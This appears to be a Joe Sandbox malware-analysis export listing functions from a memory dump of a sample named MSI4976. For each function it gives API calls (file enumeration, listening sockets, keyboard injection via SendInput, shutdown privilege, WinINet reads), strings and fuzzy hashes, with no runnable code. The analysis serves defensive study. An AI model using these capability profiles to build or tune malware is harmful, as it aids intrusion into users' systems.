Function 0038EAA6 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 149nativewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0033AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0033AF8E

Part of subcall function 0033B736: GetCursorPos.USER32(000000FF), ref: 0033B749
Part of subcall function 0033B736: ScreenToClient.USER32(00000000,000000FF), ref: 0033B766
Part of subcall function 0033B736: GetAsyncKeyState.USER32(00000001), ref: 0033B78B
Part of subcall function 0033B736: GetAsyncKeyState.USER32(00000002), ref: 0033B799

ReleaseCapture.USER32 ref: 0038EB1A
SetWindowTextW.USER32(?,00000000), ref: 0038EBC2
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0038EBD5
NtdllDialogWndProc_W.NTDLL(?,00000202,?,?,00000000,00000001,?,?,?), ref: 0038ECAE

Strings

@GUI_DRAGFILE, xrefs: 0038EC49
@U=u, xrefs: 0038EBD5
@GUI_DROPID, xrefs: 0038EC05

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: AsyncStateWindow$CaptureClientCursorDialogLongMessageNtdllProc_ReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID$@U=u
API String ID: 973565025-2104563098
Opcode ID: 5e0ab06a0b0e44988384438671eb1efbad4a1e9916a192f6433f98e8474eb5fe
Instruction ID: 99a5553c057c29192b62ebb5b3aa7253e23133b512866d4e45ef90391baf6eb5
Opcode Fuzzy Hash: 5e0ab06a0b0e44988384438671eb1efbad4a1e9916a192f6433f98e8474eb5fe
Instruction Fuzzy Hash: 4751AD31604344AFD716EF24DC96FAA7BE9FB88700F404A2DF5869B2E1DB709904CB52

Function 003724A9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0032CAEE: _memmove.LIBCMT ref: 0032CB2F

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 003724F6
Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00372526
_wcscmp.LIBCMT ref: 0037253A
_wcscmp.LIBCMT ref: 00372555
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 003725F3
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00372609

Strings

*.*, xrefs: 003724D8

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: 2da887d27cb4dfd5b49d5433dfa3532642417badcd3b1b2d7a360c223a708a25
Instruction ID: 86a01c958be35f5d4e080e5267b434deafa50f6c6c422e9f0207b5962e9f4738
Opcode Fuzzy Hash: 2da887d27cb4dfd5b49d5433dfa3532642417badcd3b1b2d7a360c223a708a25
Instruction Fuzzy Hash: 10416F7190021AAFCF26DFA4DC55AEFBBB8FF06310F104456E419AA191E7749B84CB90

Function 00328530 Relevance: 11.0, APIs: 7, Instructions: 531COMMON

Download Yara Rule

APIs

Part of subcall function 0032A2FB: _memmove.LIBCMT ref: 0032A33D

_memmove.LIBCMT ref: 00328672
_memmove.LIBCMT ref: 003286C2
_memmove.LIBCMT ref: 00328728

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 7181a145067972f235a1300dc5cad1d812818288df9fbf399eff3a769c029ebe
Instruction ID: 8d3e30ac73300fc866b98376d07500ecdb6b7d609a5b278226864a8ce4de2ce3
Opcode Fuzzy Hash: 7181a145067972f235a1300dc5cad1d812818288df9fbf399eff3a769c029ebe
Instruction Fuzzy Hash: 5F12A270A01619EFDF06DFA8E981AAEB3F5FF48300F204569E406EB250EB35AD51CB50

Function 003682D0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 0035BEC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0035BF0F
Part of subcall function 0035BEC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0035BF3C
Part of subcall function 0035BEC3: GetLastError.KERNEL32 ref: 0035BF49

ExitWindowsEx.USER32(?,00000000), ref: 0036830C

Strings

, xrefs: 003682FA
@, xrefs: 003682FF
SeShutdownPrivilege, xrefs: 003682DA

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 2eb3ba43bc5c2a13605c65bf4e08673e6a2d0d7b88ba4f282fb9dc31a691e4c2
Instruction ID: fad8c7006cf39ac34440aa5ac3b649250a57980af3571ba16deabd73a1645bdb
Opcode Fuzzy Hash: 2eb3ba43bc5c2a13605c65bf4e08673e6a2d0d7b88ba4f282fb9dc31a691e4c2
Instruction Fuzzy Hash: 7701F77DA40311ABE76B17788C4BFBB765C9B09B80F398A24F943E52D5DE609C0082A4

Function 003791DC Relevance: 9.1, APIs: 6, Instructions: 83networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00379235
WSAGetLastError.WS2_32(00000000), ref: 00379244
bind.WS2_32(00000000,?,00000010), ref: 00379260
listen.WS2_32(00000000,00000005), ref: 0037926F
WSAGetLastError.WS2_32(00000000), ref: 00379289
closesocket.WS2_32(00000000), ref: 0037929D

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: f7c009a1be7db86e87ccfb9d2ea76aadd2c38c7626d3c63580822f3e3cb7dcb6
Instruction ID: b34416110f69edf41f5620d16318001183232655829fde994d85dda25062eaeb
Opcode Fuzzy Hash: f7c009a1be7db86e87ccfb9d2ea76aadd2c38c7626d3c63580822f3e3cb7dcb6
Instruction Fuzzy Hash: 1421E131600604AFCB16FF64CC85B6EB7ACEF49320F118659F95AAB392CB34AD41CB51

Function 00326670 Relevance: 8.1, APIs: 2, Strings: 2, Instructions: 1093COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 003267D0

Strings

hN=, xrefs: 003A216F
tM=, xrefs: 003A2183

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memmove
String ID: hN=$tM=
API String ID: 4104443479-683757419
Opcode ID: e3a68f220096e92c97c2e4e051bd0305f795bdfceaf25e49cb1fff0bddf00461
Instruction ID: fa70e5300ac5714d84da21c3117f01bc5bbfde49ebc90b7c722aa216531bddc0
Opcode Fuzzy Hash: e3a68f220096e92c97c2e4e051bd0305f795bdfceaf25e49cb1fff0bddf00461
Instruction Fuzzy Hash: 2BA27E75D00229CFCB26CF58D4816ADBBB5FF49314F2681AAE859AB390D7349D81CF90

Function 0032A0C0 Relevance: 8.0, APIs: 5, Instructions: 514COMMON

Download Yara Rule

APIs

Part of subcall function 0034010A: std::exception::exception.LIBCMT ref: 0034013E
Part of subcall function 0034010A: __CxxThrowException@8.LIBCMT ref: 00340153

_memmove.LIBCMT ref: 00393020
_memmove.LIBCMT ref: 00393135
_memmove.LIBCMT ref: 003931DC

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: 5ff8258a5047a82be8774a68506e2bd1d9dfa7834aa6c9c0a7ea4a655c483232
Instruction ID: 27b94f1d91c9f2993a34e8d07fd3169c627925478e1c8deefdd0ce2f5a02dc1e
Opcode Fuzzy Hash: 5ff8258a5047a82be8774a68506e2bd1d9dfa7834aa6c9c0a7ea4a655c483232
Instruction Fuzzy Hash: 6102A0B0A00215DFCF06DF68D981AAEB7F9EF48300F158469E806DF255EB35DA51CB91

Function 003796E2 Relevance: 7.6, APIs: 5, Instructions: 146networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0037ACD3: inet_addr.WS2_32(00000000), ref: 0037ACF5

socket.WSOCK32(00000002,00000002,00000011,?,?,?,00000000), ref: 0037973D
WSAGetLastError.WS2_32(00000000,00000000), ref: 00379760

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: feef7d94336cf44679aca72b6ece612d834db0ce979b3470b928558d629178aa
Instruction ID: 751d2badbf46adf795f7153fe6be55ac647e96691fc61d9d62cecad3a3d1f303
Opcode Fuzzy Hash: feef7d94336cf44679aca72b6ece612d834db0ce979b3470b928558d629178aa
Instruction Fuzzy Hash: FE41E571600210AFDB16AF28CC82E7E77EDEF45324F148149F956AF392CB749E018B91

Function 0036F350 Relevance: 7.6, APIs: 5, Instructions: 125fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0036F37A
_wcscmp.LIBCMT ref: 0036F3AA
_wcscmp.LIBCMT ref: 0036F3BF
FindNextFileW.KERNEL32(00000000,?), ref: 0036F3D0
FindClose.KERNEL32(00000000,00000001,00000000), ref: 0036F3FE

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 6e02e83ebde1baebee48975f3bf5379998bbca04eace826b760e0b691187739b
Instruction ID: 143e10434638da0be93ec725739571b0408c2c5bd9c372f8ca6a78964c6f390d
Opcode Fuzzy Hash: 6e02e83ebde1baebee48975f3bf5379998bbca04eace826b760e0b691187739b
Instruction Fuzzy Hash: 1D41AC356007019FC70ADF29D490A9AB3E8FF49324F10852EE95A8B7A1DB71B941CB91

Function 00364342 Relevance: 6.1, APIs: 4, Instructions: 112keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 0036439C
SetKeyboardState.USER32(00000080,?,00000001), ref: 003643B8
PostMessageW.USER32(00000000,00000102,?,00000001), ref: 00364425
SendInput.USER32(00000001,?,0000001C,00000000,?,00000001), ref: 00364483

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 4d1fb2997a107361445b6b29637d1df188814dfd6b01c4c8e40b05028d862fd2
Instruction ID: f4b23d833dee91410ef18978290f269792e618afdaa8833d44c4ace69ab7243b
Opcode Fuzzy Hash: 4d1fb2997a107361445b6b29637d1df188814dfd6b01c4c8e40b05028d862fd2
Instruction Fuzzy Hash: 264137B0E00248AEEF238B66D80A7FE7BB9AF45311F04811AF481976C9CB748984C765

Function 0038EFA8 Relevance: 6.1, APIs: 4, Instructions: 80nativewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0033AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0033AF8E

GetCursorPos.USER32(?), ref: 0038EFE2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,0039F3C3,?,?,?,?,?), ref: 0038EFF7
GetCursorPos.USER32(?), ref: 0038F041
NtdllDialogWndProc_W.NTDLL(?,0000007B,?,?,?,?,?,?,?,?,?,?,0039F3C3,?,?,?), ref: 0038F077

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Cursor$DialogLongMenuNtdllPopupProc_TrackWindow
String ID:
API String ID: 1423138444-0
Opcode ID: b1f43203d6147f680b34a9e5012108acb7ec42f598eb6fe5df31140ebe34df10
Instruction ID: 8e5940b4aad7d80f0d9c0e58154398c8118adc01dc5ac986556c4373b6b34f2b
Opcode Fuzzy Hash: b1f43203d6147f680b34a9e5012108acb7ec42f598eb6fe5df31140ebe34df10
Instruction Fuzzy Hash: 7F21F335600218EFCB279F54C898EEA7BB9FF4A750F0441A9F9054B2A2C7359D51DB90

Function 0038F0A1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46nativewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0033AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0033AF8E

NtdllDialogWndProc_W.NTDLL(?,0000002B,?,?,?,?,?,?,?,0039F352,?,?,?), ref: 0038F115

Part of subcall function 0033B155: GetWindowLongW.USER32(?,000000EB), ref: 0033B166

SendMessageW.USER32(?,00000401,00000000,00000000), ref: 0038F0FB

Strings

@U=u, xrefs: 0038F0FB

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: LongWindow$DialogMessageNtdllProc_Send
String ID: @U=u
API String ID: 1273190321-2594219639
Opcode ID: f9b140a9f65695086c1e8431de51f2e134964cd2381a76a5f5afa2407e8fac06
Instruction ID: 4c2bd5a6ae192f7cdf375e5f16b85daa7af6bed5b1c9047c790ac24f8e80fa3d
Opcode Fuzzy Hash: f9b140a9f65695086c1e8431de51f2e134964cd2381a76a5f5afa2407e8fac06
Instruction Fuzzy Hash: 8701B131200214EFCB23BF15DC89F6A7BAAFB86364F140264F9564F2E1C7719842DB50

Function 0036220C Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 560stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 0036221E

Strings

(, xrefs: 00362264
|, xrefs: 0036224E

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 2bebf86d249433bd270e9940a78cf1b79889f7e278a95aa877079475d4ddddf5
Instruction ID: 8198969ad4be646a39e39572b3ee19c7cd68d61938631de093e125f32935d4a8
Opcode Fuzzy Hash: 2bebf86d249433bd270e9940a78cf1b79889f7e278a95aa877079475d4ddddf5
Instruction Fuzzy Hash: 49323575A00A059FC729CF69C490A6AF7F0FF48320B12C46EE59ADB7A5E770E941CB44

Function 0033AD5C Relevance: 4.9, APIs: 3, Instructions: 378nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0033AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0033AF8E

NtdllDialogWndProc_W.NTDLL(?,?,?,?,?), ref: 0033AE5E

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: a207474cfff3531cee190f535111b6de766ebe0a3fd765d9d802a81d6e23e6bb
Instruction ID: 0002f8a21384f6013ac689823e06404a55d87b3001a65c11439d519bfbe2a03c
Opcode Fuzzy Hash: a207474cfff3531cee190f535111b6de766ebe0a3fd765d9d802a81d6e23e6bb
Instruction Fuzzy Hash: 0DA11A78104A05BEDF3BAB294CD8D7F395CDB42742F114629F482DA5A1CA299C01A373

Function 0037550C Relevance: 4.7, APIs: 3, Instructions: 155networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00374A1E,00000000), ref: 003755FD
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00375629

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 3e686e28087ec18c15c2e1d9136473398823aa9d261890cb599f4ac38f629534
Instruction ID: 94677b56c7b54ad5a745e96cdbdd7037c2ebf98a4ae79b7ea87b2509dd60b368
Opcode Fuzzy Hash: 3e686e28087ec18c15c2e1d9136473398823aa9d261890cb599f4ac38f629534
Instruction Fuzzy Hash: 6341EA71500609BFEB3A9E91CC85EBFB7FDEB41724F10801AF60A6A140DBB5AE419A54

Function 0036EA85 Relevance: 4.6, APIs: 3, Instructions: 72COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0036EA95
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 0036EAEF
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 0036EB3C

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
